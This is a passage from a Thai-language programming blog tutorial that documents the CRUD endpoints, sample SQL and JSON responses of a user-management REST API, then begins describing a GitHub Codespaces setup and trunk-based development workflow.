&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07; Resource &#xE41;&#xE25;&#xE30; <strong><strong>POST</strong></strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48; &#xE2A;&#xE48;&#xE27;&#xE19; <strong><strong>PUT</strong></strong> &#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update &#xE41;&#xE1A;&#xE1A;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; &#xE41;&#xE25;&#xE30; <strong><strong>DELETE</strong></strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A; Resource &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;</p><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Endpoint &#xE21;&#xE35;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p><strong>GET /api/v1/users</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE15;&#xE32;&#xE21; id &#xE08;&#xE32;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE44;&#xE1B;&#xE21;&#xE32;&#xE01;<br>- &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07; Parameter<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; Array &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;</p><pre><code># &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
# &#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE15;&#xE32;&#xE21; id &#xE08;&#xE32;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE44;&#xE1B;&#xE21;&#xE32;&#xE01;
# query = &quot;SELECT * FROM users ORDER BY id&quot;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
[
    {
        &quot;id&quot;: 1,
        &quot;name&quot;: &quot;Nuttachot&quot;,
        &quot;email&quot;: &quot;nuttachot@email.com&quot;
    },
    {
        &quot;id&quot;: 2,
        &quot;name&quot;: &quot;Poohkan&quot;,
        &quot;email&quot;: &quot;poohkan@email.com&quot;
    }
]</code></pre><p><strong>GET /api/v1/users/{user_id}</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404</p><pre><code># &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;
# query = &quot;SELECT * FROM users WHERE id = %s&quot;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}</code></pre><p><strong>POST /api/v1/users</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; name &#xE41;&#xE25;&#xE30; email &#xE21;&#xE32;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- email &#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; ID</p><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;
{
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;id&quot;: 1,  # ID &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}</code></pre><p><strong>PUT /api/v1/users/{user_id}</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE31;&#xE49;&#xE07; name &#xE41;&#xE25;&#xE30; email<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404<br>- email &#xE43;&#xE2B;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE41;&#xE25;&#xE49;&#xE27;</p><pre><code># &#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;
{
    &quot;name&quot;: &quot;Nuttachot Promrit&quot;,
    &quot;email&quot;: &quot;nuttachot.new@email.com&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Nuttachot Promrit&quot;,
    &quot;email&quot;: &quot;nuttachot.new@email.com&quot;
}</code></pre><p><strong>DELETE /api/v1/users/{user_id}</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;</p><pre><code># &#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;message&quot;: &quot;User deleted successfully&quot;
}</code></pre><p><strong>GET /health</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;<br>- &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Bearer Token</p><pre><code># &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; (&#xE01;&#xE23;&#xE13;&#xE35;&#xE1B;&#xE01;&#xE15;&#xE34;)
{
    &quot;status&quot;: &quot;healthy&quot;,
    &quot;database&quot;: &quot;connected&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; (&#xE01;&#xE23;&#xE13;&#xE35;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;)
{
    &quot;detail&quot;: &quot;Database connection failed: error message&quot;
}</code></pre><p>Project &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE1A;&#xE19; <a href="https://github.com/codespaces?ref=blog.pjjop.org">Github Codespaces</a> &#xE41;&#xE25;&#xE30; VS Code Editor &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Linux-based Environment &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE35;&#xE48;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Deploy API &#xE41;&#xE25;&#xE30; Database Server &#xE1A;&#xE19; Docker Container &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repository 3 Repo &#xE1A;&#xE19; Github &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><ol><li>userservice Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07; REST API</li><li>userdatabase Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Config PostgreSQL</li><li>backend Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Codespace</li></ol><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Branch &#xE43;&#xE19; Git &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Code &#xE41;&#xE1A;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;&#xE1A;&#xE19; Branch &#xE2B;&#xE25;&#xE31;&#xE01; (main Branch) &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; <strong>Trunk-Based Development </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE1A;&#xE23;&#xE34;&#xE29;&#xE31;&#xE17; &#xE40;&#xE0A;&#xE48;&#xE19; Google, Facebook, Netflix &#xE41;&#xE25;&#xE30; Amazon &#xE19;&#xE33;&#xE21;&#xE32;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy Code&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><p>&#xE42;&#xE14;&#xE22;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE38;&#xE01;&#xE04;&#xE19;&#xE43;&#xE19;&#xE17;&#xE35;&#xE21;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30; Merge Code &#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Trunk &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE21;&#xE48;&#xE33;&#xE40;&#xE2A;&#xE21;&#xE2D; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01; Git flow &#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35; Branch &#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19; main, develop &#xE2B;&#xE23;&#xE37;&#xE2D; feature Branch</p><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE1A;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE15;&#xE48;&#xE22;&#xE31;&#xE07;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Workflow &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A;&#xE2A;&#xE21;&#xE31;&#xE22;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE41;&#xE1A;&#xE1A; Trunk-Based Development &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE43;&#xE0A;&#xE49; VS Code &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; Github Codespaces &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy Software &#xE1A;&#xE19; Linux-based Environment &#xE01;&#xE48;&#xE2D;&#xE19;&#xE19;&#xE33;&#xE02;&#xE36;&#xE49;&#xE19; Production &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87-github-codespaces"><strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Github Codespaces</strong></h2><p>Codespaces &#xE40;&#xE1B;&#xE47;&#xE19; Platform &#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; Cloud-based &#xE08;&#xE32;&#xE01; GitHub &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Environment &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE41;&#xE25;&#xE30; Resource &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27; &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Codespace &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Linux-based OS &#xE41;&#xE25;&#xE30;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; Git, Docker &#xE41;&#xE25;&#xE30; Python &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;</p><ul><li>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; <a href="https://github.com/?ref=blog.pjjop.org">github.com</a> &#xE41;&#xE25;&#xE49;&#xE27; Login</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-10.53.14.png" class="kg-image" alt loading="lazy" width="2000" height="370" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-10.53.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-10.53.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-10.53.14.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-10.53.14.png 2216w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE14; New &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Repository &#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>backend</strong> &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14; Repo &#xE41;&#xE1A;&#xE1A; Private &#xE41;&#xE25;&#xE30;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Add a README file &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create repository</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.11.35.png" class="kg-image" alt loading="lazy" width="1948" height="2328" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.11.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.11.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.11.35.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.11.35.png 1948w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.12.56.png" class="kg-image" alt loading="lazy" width="1948" height="2328" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.12.56.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.12.56.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.12.56.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.12.56.png 1948w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE21;&#xE19;&#xE39; Codespace</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.08.21.png" class="kg-image" alt loading="lazy" width="2000" height="679" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.08.21.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.08.21.png 1000w, 